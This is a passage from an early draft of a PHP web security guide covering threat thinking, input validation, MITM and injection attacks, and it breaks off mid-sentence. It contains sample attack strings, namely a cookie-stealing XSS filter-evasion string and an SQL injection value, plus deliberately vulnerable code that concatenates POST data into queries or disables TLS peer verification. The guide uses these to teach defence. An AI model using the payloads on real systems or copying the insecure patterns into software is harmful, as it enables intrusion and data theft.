# Survive The Deep End: PHP Security

***Release 1.0a1***

**Padraic Brady**

November 23, 2013

# Contents

Contents:

CHAPTER 1

# Introduction

## 1.1 Yet Another PHP Security Book?

There are many ways to start a guide or book on PHP Security. Unfortunately, I haven't read any of them, so I have to make this up as I go along. So let's start at the beginning and hopefully it will make sense.

If you consider a web application that has been pushed online by Company X, you can assume that there are many components under the boot that, if hacked, could cause significant damage. That damage may include:

1. Damage to users - which can include the exposure of emails, passwords, personal identity data, credit card details, business secrets, family and friend contacts, transaction history, and the revelation that someone called their dog Sparkles. Such information damages the user (person or business). Damage can also arise from the web application misusing such data or by playing host to anything that takes advantage of user trust in the application.
2. Damage to Company X - due to user damage, loss of good reputation, the need to compensate victims and partners, the cost of any business data loss, infrastructure and other costs to improve security and cleanup the aftermath, travel costs for when employees end up in front of regulators, golden handshakes to the departing CIO, and so on.

I'll stick with those two because they capture a lot of what web application security should prevent. As every target of a serious security breach will quickly note in their press releases and websites: Security is very important to them and take it very seriously. Taking this sentiment to heart before you learn it the hard way is recommended.

Despite this, security is also very much an afterthought. Concerns such as having a working application which meets the needs of users within an acceptable budget and timeframe take precedence. It's an understandable set of priorities, however we can't ignore security forever and it's often far better to keep it upfront in your mind when building applications so that we can include security defenses during development while change is cheap.

The afterthought nature of security is largely a product of programmer culture. Some programmers will start to sweat at the very idea of a security vulnerability while others can quite literally argue the definition of a security vulnerability to the point where they can confidently state it is not a security vulnerability. In between may be programmers who do a lot of shoulder shrugging since nothing has gone completely sideways on them before. It's a weird world out there.

Since the goal of web application security is to protect the users, ourselves and whoever else might rely on the services that application provides, we need to understand a few basics:

1. Who wants to attack us?
2. How can they attack us?
3. What can we do to stop them?

## 1.2 Who Wants To Attack Your Application?

The answer to the first question is very easy: everyone and everything. Yes, the entire Universe is out to get you. That kid in the basement with a souped up PC running BackTrack Linux? He probably already has. The suspicious looking guy who enjoys breaking knees? He probably hired someone to do it. That trusted REST API you suck data from every hour? It was probably hacked months ago to serve up contaminated data. Even I might be out to get you! So don't believe this guide, assume I'm lying, and make sure you have a programmer around who can spot my nefarious instructions. On second thought, maybe they are out to hack you too...

The point of this paranoia is that it's very easy to mentally compartmentalise everything which interacts with your web application into specific groups. The User, the Hacker, the Database, the Untrusted Input, the Manager, the REST API and then assign them some intrinsic trust value. The Hacker is obviously not trusted but what about the Database? The Untrusted Input has that name for a reason but would you really sanitise a blog post aggregated from a trusted colleague's Atom feed?

Someone serious about hacking a web application will learn to take advantage of this thinking by striking at trusted sources of data less likely to be treated with suspicion and less likely to have robust security defenses. This is not a random decision, entities with higher trust values simply are less likely to be treated with suspicion in the real world. It's one of the first things I look for in reviewing an application because it's so dependable.

Consider Databases again. If we assume that a database might be manipulated by an attacker (which, being paranoid, we always do) then it can never be trusted. Most applications do trust the database without question. From the outside looking in, we view the web application as a single unit when internally it is really a collection of distinct units with data passing between them. If we assume these parts are trustworthy, a failure in one can quickly ripple through the others unchecked. This sort of catastrophic failure in security is not solved by saying "If the the database is hacked, we're screwed anyway". You might be - but that doesn't mean you would have been if you had assumed it was out to get you anyway and acted accordingly!

## 1.3 How Can They Attack Us?

The answer to the second question is a really long list. You can be attacked from wherever each component or layer of a web application receives data. Web applications are all about handling data and shuffling it all over the place. User requests, databases, APIs, blog feeds, forms, cookies, version control repositories, PHP's environmental variables, configuration files, more configuration files, and even the PHP files you are executing could potentially be contaminated with data designed to breach your security defenses and do serious damage. Basically, if it wasn't defined explicitly in the PHP code used in a request, it's probably stuffed with something naughty. This assumes that a) you wrote the PHP source code, b) it was properly peer reviewed, and c) you're not being paid by a criminal organisation.

Using any source of data without checking to ensure that the data received is completely safe and fit for use will leave you potentially open to attack. What applies to data received has a matching partner in the data you send out. If that data is not checked and made completely safe for output, you will also have serious problems. This principle is popularly summed up in PHP as "Validate Input; Escape Output".

These are the very obvious sources of data that we have some control over. Other sources can include client side storage. For example, most applications identify users by assigning them a unique Session ID which can be stored in a cookie. If the attacker can grab that cookie value, they can use it to impersonate the original user. Obviously, while we can mitigate against some risks of having user data intercepted or tampered with, we can never guarantee the physical security of the user's PC. We can't even guarantee that they'll consider "123456" as the dumbest password since "password". What makes life even more interesting is that cookies are not the only client side storage medium these days.

An additional risk that is often overlooked is the integrity of your source code. A growing practice in PHP is to build applications on the back of many loosely coupled libraries and framework-specific integration modules or bundles. Many of these are sourced from public repositories like Github and installable via a package installer and repository aggregator such as Composer and its companion website, Packagist.org. Outsourcing the task of source code installation relies entirely on the security of these third parties. If Github is compromised it might conceivably serve altered code with a malicious payload. If Packagist.org were compromised, an attacker may be able to redirect package requests to their own packages.

At present, Composer and Packagist.org are subject to known weaknesses in dependency resolution and package sourcing so you should always double check everything in production and verify the canonical source of all packages listed on Packagist.org.

## 1.4 What Can We Do To Stop Them?

Breaching a web application's defenses can be either a ludicrously simple task or an extremely time consuming task. The correct assumption to make is that all web applications are vulnerable

somewhere. That conservative assumption holds because all web applications are built by Humans - and Humans make mistakes. As a result, the concept of perfect security is a pipe dream. All applications carry the risk of being vulnerable, so the job of programmers is to ensure that that risk is minimised.

Mitigating the risk of suffering an attack on your web application requires a bit of thinking. As we progress through this guide, I'll introduce possible ways of attacking a web application. Some will be very obvious, some not. In all cases, the solution should take account of some basic security principles.

## 1.5 Basic Security Thinking

When designing security defenses, the following considerations can be used when judging whether or not your design is sufficient. Admittedly, I'm repeating a few of these since they are so intrinsic to security that I've already mentioned them.

1. Trust nobody and nothing
2. Assume a worse-case scenario
3. Apply Defense-In-Depth
4. Keep It Simple Stupid (KISS)
5. Principle of Least Privilege
6. Attackers can smell obscurity
7. RTFM but never trust it
8. If it wasn't tested, it doesn't work
9. It's always your fault!

Here is a brief run through of each.

### 1.5.1 1. Trust nobody and nothing

As covered earlier, the correct attitude is simply to assume that everyone and everything your web application interacts with is out to attack you. That includes other components or application layers needed to serve a request. No exceptions.

### 1.5.2 2. Assume a worse-case scenario

One feature of many defenses is that no matter how well you execute them, chances are that it still might be broken through. If you assume that happens, you'll quickly see the benefit of the next item on this list. The value of assuming a worst-case scenario is to figure out how extensive and

damaging an attack could become. Perhaps, if the worst occured, you would be able to mitigate some of the damage with a few extra defences and design changes? Perhaps that traditional solution you've been using has been supplanted by an even better solution?

### 1.5.3 3. Apply Defense-In-Depth

Defense in depth was borrowed from the military because bad ass people realised that putting numerous walls, sandbags, vehicles, body armour, and carefully placed flasks between their vital organs and enemy bullets/blades was probably a really good idea. You never know which one of these could individually fail, so having multiple layers of protection ensured that their safety was not tied up in just one defensive fortification or battle line. Of course, it's not just about single failures. Imagine being an attacker who scaled one gigantic medieval wall with a ladder - only to see the defenders bunched up on yet another damn wall raining down arrows. Hackers get that feeling too.

### 1.5.4 4. Keep It Simple Stupid (KISS)

The best security defenses are simple. Simple to design, simple to implement, simple to understand, simple to use and really simple to test. Simplicity reduces the scope for manual errors, encourages consistent use across an application and should ease adoption into even the most complex-intolerant environment.

### 1.5.5 5. Principle of Least Privilege

TBD

### 1.5.6 6. Attackers can smell obscurity

Security through obscurity relies on the assumption that if you use Defence A and tell absolutely nobody about what it is, what it does, or even that it exists, this will magically make you secure because attackers will be left clueless. In reality, while it does have a tiny security benefit, a good attacker can often figure out what you're up to - so you still need all the non-obscure security defenses in place. Those who become so overly confident as to assume an obscure defense replaces the need for a real defense may need to be pinched to cure them of their waking dream.

### 1.5.7 7. RTFM but never trust it

The PHP Manual is the Bible. Of course, it wasn't written by the Flying Spaghetti Monster so technically it might contain a number of half-truths, omissions, misinterpretations, or errors which

have not yet been spotted or rectified by the documentation maintainers. The same goes for Stackoverflow.

Dedicated sources of security wisdom (whether PHP oriented or not) are generally of a higher quality. The closest thing to a Bible for PHP security is actually the OWASP website and the articles, guides and cheatsheets it offers. If OWASP says not to do something, please - just don't do it!

### 1.5.8 8. If it wasn't tested, it doesn't work

As you are implementing security defences, you should be writing sufficient tests to check that they actually work. This involves pretending to be a hacker who is destined for hard time behind bars. While that may seem a bit farfetched, being familiar with how to break web applications is good practice, nets you some familiarity with how security vulnerabilities can occur, and increases your paranoia. Telling your manager about your newfound appreciation for hacking web applications is optional. Use of automated tools to check for security vulnerabilities, while useful, is not a replacement for good code review and even manual application testing. Like most things, the results are more reliable as the resources dedicated to such testing increases.

### 1.5.9 9. Fail Once, Fail Twice, Dead

Habitually, programmers seek to view security vulnerabilities as giving rise to isolated attacks with minimal impact.

For example, Information Leaks (a widely documented and common vulnerability) are often viewed as an unimportant security issue since they do not directly cause trouble or damage to a web application's users. However, information leaks about software versions, programming languages, source code locations, application and business logic, database design and other facets of the web application's environment and internal operations are often instrumental in mounting successful attacks.

By the same measure, security attacks are often committed as attack combinations where one attack, individually insignificant, may enable further attacks to be successfully executed. An SQL Injection, for example, may require a specific username, which could be discoverable by a Timing Attack against an administrative interface in lieu of the far more expensive and discoverable Brute Force approach. That SQL Injection may in turn enable a Stored Cross-Site Scripting (XSS) attack on a specific administrative account without drawing too much attention by leaving a massive audit log of suspicious entries in the attackers wake.

The risk of viewing security vulnerabilities in isolation is to underestimate their potential and to treat them carelessly. It is not unusual to frequently see programmers actively avoid fixing a vulnerability because they judge it as being too insignificant to warrant their attention. Alternatives to fixing such vulnerabilities often involve foisting responsibility for secure coding onto the end-programmer or user, more often than not without documenting the issues so as not to admit the vulnerability even exists.

Apparent insignificance is irrelevant. Forcing programmers or users to fix your vulnerabilities, particularly if they are not even informed of them, is irresponsible.

## 1.6 Conclusion

TBD

CHAPTER 2

# Input Validation

Input Validation is the outer defensive perimeter for your web application. This perimeter protects the core business logic, processing and output generation. Beyond the perimeter is everything considered potential enemy territory which is...literally everything other than the literal code executed by the current request. All possible entrances and exits on the perimeter are guarded day and night by trigger happy sentries who prefer to shoot first and never ask questions. Connected to this perimeter are separately guarded (and very suspicious looking) "allies" including the Model/Database and Filesystem. Nobody wants to shoot them but if they press their luck...pop. Each of these allies have their own perimeters which may or may not trust ours.

Remember what I said about who to trust? As noted in the Introduction, we trust nothing and nobody. The common phrase you will have seen in PHP is to never trust "user input". This is one of those compartmentalising by trust value issues I mentioned. In suggesting that users are untrusted, we imply that everything else is trusted. This is untrue. Users are just the most obvious untrusted source of input since they are known strangers over which we have no control.

## 2.1 Validation Considerations

Input validation is both the most fundamental defense that a web application relies upon and the most unreliable. A significant majority of web application vulnerabilities arise from a validation failure, so getting this part of our defenses right is essential. Even where we do appear to have gotten it down, we'll need to be concious of the following considerations.

You should bear these in mind whenever implementing custom validators or adopting a 3rd party validation library. When it comes to 3rd party validators, also consider that these tend to be general in nature and most likely omit key specific validation routines your web application will require. As with any security oriented library, be sure to personally review your preferred library for flaws and limitations. It's also worth bearing in mind that PHP is not above some bizarre arguably unsafe behaviours. Consider the following example from PHP's filter functions:

```
filter_var('php://', FILTER_VALIDATE_URL);
```

The above example passes the filter without issue. The problem with accepting a php:// URL is that it can be passed to PHP functions which expect to retrieve a remote HTTP URL and not to return data from executing PHP (via the PHP wrapper). The flaw in the above is that the filter options have no method of limiting the URI scheme allowed and users' expect this to be one of http, https or mailto rather than some generic PHP specific URI. This is the sort of generic validation approach we should seek to avoid at all costs.

### 2.1.1 Be Wary Of Context

Validating input is intended to prevent the entry of unsafe data into the web application. It has a significant stumbling block in that validation is usually performed to check if data is safe for its first intended use.

For example, if I receive a piece of data containing a name, I may validate it fairly loosely to allow for apostrophes, commas, brackets, spaces, and the whole range of alphanumeric Unicode characters (not all of which need literally be alphabetic according to Western languages). As a name, we'd have valid data which can be useful for display purposes (it's first intended use). However, if we use that data elsewhere (e.g. a database query) we will be putting it into a new context. In that new context, some of the characters we allow would still be dangerous - our name might actually be a carefully crafted string intended to perform an SQL Injection attack.

The outcome of this is that input validation is inherently unreliable. Input validation works best with extremely restricted values, e.g. when something must be an integer, or an alphanumeric string, or a HTTP URL. Such limited formats and values are least likely to pose a threat if properly validated. Other values such as unrestricted text, GET/POST arrays, and HTML are both harder to validate and far more likely to contain malicious data.

Since our application will spend much of its time transporting data between contexts, we can't just validate all input and call it a day. Input validation is our initial defense but never our only one.

One of the most common partner defenses used with Input Validation is Escaping (also referred to as Encoding). Escaping is a process whereby data is rendered safe for each new context it enters. While Escaping is usually associated with Cross-Site Scripting, it's also required in many other places where it might be referred to as Filtering instead. Nobody said security terminology was supposed to be consistent, did they?

Besides Escaping, which is output oriented to prevent misinterpretation by the receiver, as data enters a new context it should often be greeted by yet another round of context-specific validation.

While often perceived as duplication of first-entry validation, additional rounds of input validation are more aware of the current context where validation requirements may differ drastically from the initial round. For example, input into a form might include a percentage integer. At first-entry, we will validate that it is indeed an integer. However, once passed to our application's Model, a new requirement might emerge - the percentage needs to be within a specific range, something

only the Model is aware of since the range is a product of the applications business logic. Failing to revalidate in the new context could have some seriously bad outcomes.

### 2.1.2 Never Blacklist; Only Whitelist

The two primary approaches to validating an input are whitelisting and blacklisting. Blacklisting involves checking if the input contains unacceptable data while whitelisting checks if the input contains acceptable data. The reason we prefer whitelisting is that it produces a validation routine that only passes data we expect. Blacklisting, on the other hand, relies on programmers anticipating all possible unexpected data which means it is far easier to run afoul of omissions and errors.

A good example here is any validation routine designed to make HTML safe for unescaped output in a template. If we take the blacklisting approach, we need to check that the HTML does not contain dangerous elements, attributes, styles and executable javascript. That accumulates to a large amount of work and all blacklisting oriented HTML sanitisers nearly always tend to forget or omit some dangerous combination of markup. A whitelist based HTML sanitiser dispenses with this uncertainty by only allowing known safe elements and attributes. All other elements and attributes will be stripped out, escaped or deleted regardless of what they are.

Since whitelisting tends to be both safer and more robust, it should be preferred for any validation routine.

### 2.1.3 Never Attempt To Fix Input

Input validation is frequently accompanied by a related process we call Filtering. Where validation just checks if data is valid (giving either a positive or negative result), Filtering changes the data being validated to meet the validation rules being applied.

In many cases, there's little harm in doing this. Common filters might include stripping all but integers out of a telephone number (which may contain extraneous brackets and hyphens), or trimming data of any unneeded horizontal or vertical space. Such use cases are concerned with minimal cleanup of the input to eliminate transcription or transmission type errors. However, it's possible to take Filtering too far into the territory of using Filtering to block the impact of malicious data.

One outcome of attempting to fix input is that an attacker may predict the impact your fixes have. For example, let's say a specific string in an input is unacceptable - so you search for it, remove it, and end the filter. What if the attacker created a split string deliberately intended to outwit you?

```
<scr<script>ipt>alert(document.cookie);</scr<script>ipt>
```

In the above example, naive filtering for a specific tag would achieve nothing since removing the obvious <script> tag actually ensures that the remaining text is now a completely valid HTML script element. The same principle applies to the filtering of any specific format and it underlines also why Input Validation isn't the end of your application's defenses.

Rather than attempting to fix input, you should just apply a relevant whitelist validator and reject such inputs - denying them any entry into the web application. Where you must filter, always filter before validation and never after.

### 2.1.4 Never Trust External Validation Controls But Do Monitor Breaches

In the section on context, I noted that validation should occur whenever data moves into a new context. This applies to validation processes which occur outside of the web application itself. Such controls may include validation or other constraints applied to a HTML form in a browser. Consider the following HTML5 form (labels omitted).

```
<form method="post" name="signup">
    <input name="fname" placeholder="First Name" required />
    <input name="lname" placeholder="Last Name" required />
    <input type="email" name="email" placeholder="someone@example.com" required />
    <input type="url" name="website" required />
    <input name="birthday" type="date" pattern="^d{1,2}/d{1,2}/d{2}$" />
    <select name="country" required>
        <option>Rep. Of Ireland</option>
        <option>United Kingdom</option>
    </select>
    <input type="number" size="3" name="countpets" min="0" max="100" value="1" requ
    <textarea name="foundus" maxlength="140"></textarea>
    <input type="submit" name="submit" value="Submit" />
</form>
```

HTML forms are able to impose constraints on the input used to complete the form. You can restrict choices using a option list, restrict a value using a mininum and maximum allowed number, and set a maximum length for text. HTML5 is even more expressive. Browsers will validate urls and emails, can limit input on date, number and range fields (support for both is sketchy though), and inputs can be validated using a Javascript regular expression included in the pattern attribute.

With all of these controls, it's important to remember that they are intended to make the user experience more consistent. Any attacker can create a custom form that doesn't include any of the constraints in your original form markup. They can even just use a programmed HTTP client to automate form submissions!

Another example of external validation controls may be the constraints applied to the response schema of third-party APIs such as Twitter. Twitter is a huge name and it's tempting to trust them without question. However, since we're paranoid, we really shouldn't. If Twitter were ever compromised, their responses may contain unsafe data we did not expect so we really do need to apply our own validation to defend against such a disaster.

Where we are aware of the external validation controls in place, we may, however, monitor them for breaches. For example, if a HTML form imposes a maxlength attribute but we receive input that

exceeds that lenght, it may be wise to consider this as an attempted bypass of validation controls by a user. Using such methods, we could log breaches and take further action to discourage a potential attacker through access denial or request rate limiting.

### 2.1.5 Evade PHP Type Conversion

PHP is not a strongly typed language and most of its functions and operations are therefore not type safe. This can pose serious problems from a security perspective. Validators are particularly vulnerable to this problem when comparing values. For example:

```
assert(0 == '0ABC'); //returns TRUE
assert(0 == 'ABC'); //returns TRUE (even without starting integer!)
assert(0 === '0ABC'); //returns NULL/issues Warning as a strict comparison
```

When designing validators, be sure to prefer strict comparisons and use manual type conversion where input or output values might be strings. Web forms, as an example, always return string data so to work with a resulting expected integer from a form you would have to verify its type:

```
function checkIntegerRange($int, $min, $max)
{
    if (is_string($int) && !ctype_digit($int)) {
        return false; // contains non digit characters
    }
    if (!is_int((int) $int)) {
        return false; // other non-integer value or exceeds PHP_MAX_INT
    }
    return ($int >= $min && $int <= $max);
}
```

You should never do this:

```
function checkIntegerRangeTheWrongWay($int, $min, $max)
{
    return ($int >= $min && $int <= $max);
}
```

If you take the second approach, any string which starts with an integer that falls within the expected range would pass validation.

assert(checkIntegerRange("6' OR 1=1", 5, 10)); //issues NULL/Warning correctly assert(checkIntegerRangeTheWrongWay("6' OR 1=1", 5, 10)); //returns TRUE incorrectly

Type casting naughtiness abounds in many operations and functions such as in_array() which is often used to check if a value exists in an array of valid options.

## 2.2 Data Validation Techniques

Failing to validate input can lead to both security vulnerabilities and data corruption. While we are often preoccupied with the former, corrupt data is damaging in its own right. Below we'll examine a number of validation techniques with some examples in PHP.

### 2.2.1 Data Type Check

A Data Type check simply checks whether the data is a string, integer, float, array and so on. Since a lot of data is received through forms, we can't blindly use PHP functions such as is_int() since a single form value is going to be a string and may exceed the maximum integer value that PHP natively supports anyway. Neither should we get too creative and habitually turn to regular expressions since this may violate the KISS principle we prefer in designing security.

### 2.2.2 Allowed Characters Check

The Allowed Characters check simply ensures that a string only contains valid characters. The most common approaches use PHP's ctype functions and regular expressions for more complex cases. The ctype functions are the best choice where only ASCII characters are allowed.

### 2.2.3 Format Check

Format checks ensure that data matches a specific pattern of allowed characters. Emails, URLs and dates are obvious examples here. Best approaches should use PHP's filter_var() function, the DateTime class and regular expressions for other formats. The more complex a format is, the more you should lean towards proven format checks or syntax checking tools.

### 2.2.4 Limit Check

A limit check is designed to test if a value falls within the given range. For example, we may only accept an integer that is greater than 5, or between 0 and 3, or must never be 34. These are all integer limits but a limit check can be applied to string length, file size, image dimensions, date ranges, etc.

### 2.2.5 Presence Check

The presence check ensures that we don't proceed using a set of data if it omits a required value. A signup form, for example, might require a username, password and email address with other optional details. The input will be invalid if any required data is missing.

### 2.2.6 Verification Check

A verification check is when input is required to include two identical values for the purposes of eliminating error. Many signup forms, for example, may require users to type in their requested password twice to avoid any transcription errors. If the two values are identical, the data is valid.

### 2.2.7 Logic Check

The logic check is basically an error control where we ensure the data received will not provoke an error or exception in the application. For example, we may be substituting a search string received into a regular expression. This might provoke an error on compiling the expression. Integers above a certain size may also cause errors, as can zero when we try the divide using it, or when we encounter the weirdness of +0, 0 and -0.

### 2.2.8 Resource Existence Check

Resource Existence Checks simply confirms that where data indicates a resource to be used, that the resource actually exists. This is nearly always accompanied by additional checks to prevent the automatic creation of non-existing resources, the diverting of work to invalid resources, and attempts to format any filesystem paths to allow Directory Traversal Attacks.

## 2.3 Validation Of Input Sources

Despite our best efforts, input validation does not solve all our security problems. Indeed, failures to properly validate input are extremely common. This becomes far more likely in the event that the web application is dealing with a perceived "trusted" source of input data such as a local database. There is not much in the way of additional controls we can place over a database but consider the example of a remote web service protected by SSL or TLS, e.g. by requesting information from the API's endpoints using HTTPS.

HTTPS is a core defense against Man-In-The-Middle (MITM) attacks where an attacker can interject themselves as an intermediary between two parties. As an intermediary, the MITM impersonates a server. Client connections to the server are actually made to the MITM who then makes their own separate connection to the requested server. In this way, a MITM can transfer messages between both parties without their knowledge while still retaining the capacity to read the messages or alter them to the attacker's benefit before they reach their intended destination. To both the server and client, nothing extraordinary has occurred so long as the data keeps flowing.

To prevent this form of attack, it is necessary to prevent an attacker from impersonating the server and from reading the messages they are exchanging. SSL/TLS perform this task with two basic steps:

1. Encrypt all data being transmitted using a shared key that only the server and client have access to.
2. Require that the server prove its identity with a public certificate and a private key that are issued by a trusted Certificate Authority (CA) recognised by the client.

You should be aware that encryption is possible between any two parties using SSL/TLS. In an MITM attack, the client will contact the attacker's server and both will negotiate to enable mutual encryption of the data they will be exchanging. Encryption by itself is useless in this case because we never challenged the MITM server to prove it was the actual server we wanted to contact. That is why Step 2, while technically optional, is actually completely necessary. The web application MUST verify the identity of the server it contacted in order to defend against MITM attacks.

Due to a widespread perception that encryption prevents MITM attacks, many applications and libraries do not apply Step 2. It's both a common and easily detected vulnerability in open source software. PHP itself, due to reasons beyond the understanding of mere mortals, disables server verification by default for its own HTTPS wrapper when using stream_socket_client(), fsockopen() or other internal functions. For example:

```
1 $body = file_get_contents('https://api.example.com/search?q=sphinx');
```

The above suffers from an obvious MITM vulnerability and any data resulting from such a HTTPS request can never be considered as representing a response from the intended service. This request should have been made by enabling server verification as follows:

```
1 $context = stream_context_create(array('ssl' => array('verify_peer' => TRUE)));
2 $body = file_get_contents('https://api.example.com/search?q=sphinx', false, $conte
```

Returning to sanity, the cURL extension does enable server verification out of the box so no option setting is required. However, programmers may demonstrate the following crazy approach to securing their libraries and applications. This one is easy to search for in any libraries your web application will depend on.

```
curl_setopt(CURLOPT_SSL_VERIFYPEER, false);
```

Disabling peer verification in either PHP's SSL context or with curl_setopt() will enable a MITM vulnerability but it's commonly allowed to deal with annoying errors - the sort of errors that may indicate an MITM attack or that the application is attempting to communicate with a host whose SSL certificate is misconfigured or expired.

Web applications can often behave as a proxy for user actions, e.g. acting as a Twitter Client. The least we can do is hold our applications to the high standards set by browsers who will warn their users and do everything possible to prevent users from reaching suspect servers.

## 2.4 Conclusion

TBD

CHAPTER 3

# Injection Attacks

The OWASP Top 10 lists Injection and Cross-Site Scripting (XSS) as the most common security risks to web applications. Indeed, they go hand in hand because XSS attacks are contingent on a successful Injection attack. While this is the most obvious partnership, Injection is not just limited to enabling XSS.

Injection is an entire class of attacks that rely on injecting data into a web application in order to facilitate the execution or interpretation of malicious data in an unexpected manner. Examples of attacks within this class include Cross-Site Scripting (XSS), SQL Injection, Header Injection, Log Injection and Full Path Disclosure. I'm scratching the surface here.

This class of attacks is every programmer's bogeyman. They are the most common and successful attacks on the internet due to their numerous types, large attack surface, and the complexity sometimes needed to protect against them. All applications need data from somewhere in order to function. Cross-Site Scripting and UI Redress are, in particular, so common that I've dedicated the next chapter to them and these are usually categorised separately from Injection Attacks as their own class given their significance.

OWASP uses the following definition for Injection Attacks:

Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data.

## 3.1 SQL Injection

By far the most common form of Injection Attack is the infamous SQL Injection attack. SQL Injections are not only extremely common but also very deadly. I cannot emphasise enough the importance of understanding this attack, the conditions under which it can be successfully accomplished and the steps required to defend against it.

SQL Injections operate by injecting data into a web appplication which is then used in SQL queries. The data usually comes from untrusted input such as a web form. However, it's also possible that the data comes from another source including the database itself. Programmers will often trust data from their own database believing it to be completely safe without realising that being safe for one particular usage does not mean it is safe for all other subsequent usages. Data from a database should be treated as untrusted unless proven otherwise, e.g. through validation processes.

If successful, an SQL Injection can manipulate the SQL query being targeted to perform a database operation not intended by the programmer.

Consider the following query:

```
$db = new mysqli('localhost', 'username', 'password', 'storedb');
$result = $db->query(
    'SELECT * FROM transactions WHERE user_id = ' . $_POST['user_id']
);
```

The above has a number of things wrong with it. First of all, we haven't validated the contents of the POST data to ensure it is a valid user_id. Secondly, we are allowing an untrusted source to tell us which user_id to use - an attacker could set any valid user_id they wanted to. Perhaps the user_id was contained in a hidden form field that we believed safe because the web form would not let it be edited (forgetting that attackers can submit anything). Thirdly, we have not escaped the user_id or passed it to the query as a bound parameter which also allows the attacker to inject arbitrary strings that can manipulate the SQL query given we failed to validate it in the first place.

The above three failings are remarkably common in web applications.

As to trusting data from the database, imagine that we searched for transactions using a user_name field. Names are reasonably broad in scope and may include quotes. It's conceivable that an attacker could store an SQL Injection string inside a user name. When we reuse that string in a later query, it would then manipulate the query string if we considered the database a trusted source of data and failed to properly escape or bind it.

Another factor of SQL Injection to pay attention to is that persistent storage need not always occurs on the server. HTML5 supports the use of client side databases which can be queried using SQL with the assistance of Javascript. There are two APIs facilitating this: WebSQL and IndexedDB. WebSQL was deprecated by the W3C in 2010 and is supported by WebKit browsers using SQLite in the backend. It's support in WebKit will likely continue for backwards compatibility purposes even though it is no longer recommended for use. As its name suggests, it accepts SQL queries an may therefore be susceptible to SQL Injection attacks. IndexedDB is the newer alternative but is a NOSQL database (i.e. does not require usage of SQL queries).

### 3.1.1 SQL Injection Examples

Attempting to manipulate SQL queries may have goals including:

1. Information Leakage

2. Disclosure of stored data
3. Manipulation of stored data
4. Bypassing authorisation controls
5. Client-side SQL Injection

#### Information Leakage

#### Disclosure Of Stored Data

#### Manipulation of Stored Data

#### Bypassing Authorisation Controls

### 3.1.2 Defenses Against SQL Injection

Defending against an SQL Injection attack applies the Defense In Depth principle. It should be validated to ensure it is in the correct form we expect before using it in a SQL query and it should be escaped before including it in the query or by including it as a bound parameter.

#### Validation

Chapter 2 covered Input Validation and, as I then noted, we should assume that all data not created explicitly in the PHP source code of the current request should be considered untrusted. Validate it strictly and reject all failing data. Do not attempt to "fix" data unless making minor cosmetic changes to its format.

Common validation mistakes can include validating the data for its then current use (e.g. for display or calculation purposes) and not accounting for the validation needs of the database table fields which the data will eventually be stored to.

#### Escaping

Using the mysqli extension, you can escape all data being included in a SQL query using the mysqli_real_escape_string() function. The pgsql extension for PostgresSQL offers the pg_escape_bytea(), pg_escape_identifier(), pg_escape_literal() and pg_escape_string() functions. The mssql (Microsoft SQL Server) offers no escaping functions and the commonly advised addslashes() approach is insufficient - you actually need a custom function [http://stackoverflow.com/questions/574805/how-to-escape-strings-in-mssql-using-php].

Just to give you even more of a headache, you can never ever fail to escape data entering an SQL query. One slip, and it will possibly be vulnerable to SQL Injection.

For the reasons above, escaping is not really recommended. It will do in a pinch and might be necessary if a database library you use for abstraction allows the setting of naked SQL queries or query parts without enforcing parameter binding. Otherwise you should just avoid the need to escape altogether. It's messy, error-prone and differs by database extension.

### Parameterised Queries (Prepared Statements)

Parameterisation or Parameter Binding is the recommended way to construct SQL queries and all good database libraries will use this by default. Here is an example using PHP's PDO extension.

```
if(ctype_digit($_POST['id']) && is_int($_POST['id'])) {
    $validatedId = $_POST['id'];
    $pdo = new PDO('mysql:store.db');
    $stmt = $pdo->prepare('SELECT * FROM transactions WHERE user_id = :id');
    $stmt->bindParam(':id', $validatedId, PDO::PARAM_INT);
    $stmt->execute();
} else {
    // reject id value and report error to user
}
```

The bindParam() method available for PDO statements allows you to bind parameters to the placeholders present in the prepared statement and accepts a basic datatype parameter such as PDO::PARAM_INT, PDO::PARAM_BOOL, PDO::PARAM_LOB and PDO::PARAM_STR. This defaults to PDO::PARAM_STR if not given so remember it for other values!

Unlike manual escaping, parameter binding in this fashion (or any other method used by your database library) will correctly escape the data being bound automatically so you don't need to recall which escaping function to use. Using parameter binding consistently is also far more reliable than remembering to manually escape everything.

### Enforce Least Privilege Principle

Putting the breaks on a successful SQL Injection is just as important as preventing it from occuring in the first place. Once an attacker gains the ability to execute SQL queries, they will be doing so as a specific database user. The principle of Least Privilege can be enforced by ensuring that all database users are given only those privileges which are absolutely necessary for them in order to complete their intended tasks.

If a database user has significant privileges, an attacker may be able to drop tables and manipulate the privileges of other users under which the attacker can perform other SQL Injections. You should never access the database from a web application as the root or any other highly privileged or administrator level user so as to ensure this can never happen.

Another variant of the Least Privilege principle is to separate the roles of reading and writing data to a database. You would have a user with sufficient privileges to perform writes and another separate user restricted to a read-only role. This degree of task separation ensures that if an SQL

Injection targets a read-only user, the attacker cannot write or manipulate table data. This form of compartmentalisation can be extended to limit access even further and so minimise the impact of successful SQL Injection attacks.

Many web applications, particularly open source applications, are specifically designed to use one single database user and that user is almost certainly never checked to see if they are highly privileged or not. Bear the above in mind and don't be tempted to run such applications under an administrative user.

## 3.2 Code Injection (also Remote File Inclusion)

Code Injection refers to any means which allows an attacker to inject source code into a web application such that it is interpreted and executed. This does not apply to code injected into a client of the application, e.g. Javascript, which instead falls under the domain of Cross-Site Scripting (XSS).

The source code can be injected directly from an untrusted input or the web application can be manipulated into loading it from the local filesystem or from an external source such a URL. When a Code Injection occurs as the result of including an external resource it is commonly referred to as a Remote File Inclusion though a RFI attack itself need always be intended to inject code.

The primary causes of Code Injection are Input Validation failures, the inclusion of untrusted input in any context where the input may be evaluated as PHP code, failures to secure source code repositories, failures to exercise caution in downloading third-party libraries, and server misconfigurations which allow non-PHP files to be passed to the PHP interpreter by the web server. Particular attention should be paid to the final point as it means that all files uploaded to the server by untrusted users can pose a significant risk.

### 3.2.1 Examples of Code Injection

PHP is well known for allowing a myriad of Code Injection targets ensuring that Code Injection remains high on any programmer's watch list.

#### File Inclusion

The most obvious target for a Code Injection attack are the include(), include_once(), require() and require_once() functions. If untrusted input is allowed to determine the path parameter passed to these functions it is possible to influence which local file will be included. It should be noted that the included file need not be an actual PHP file; any included file that is capable of carrying textual data (e.g. almost anything) is allowed.

The path parameter may also be vulnerable to a Directory Traversal or Remote File Inclusion. Using the ../ or ..(dot-dot-slash) string in a path allows an attacker to navigate to almost any file

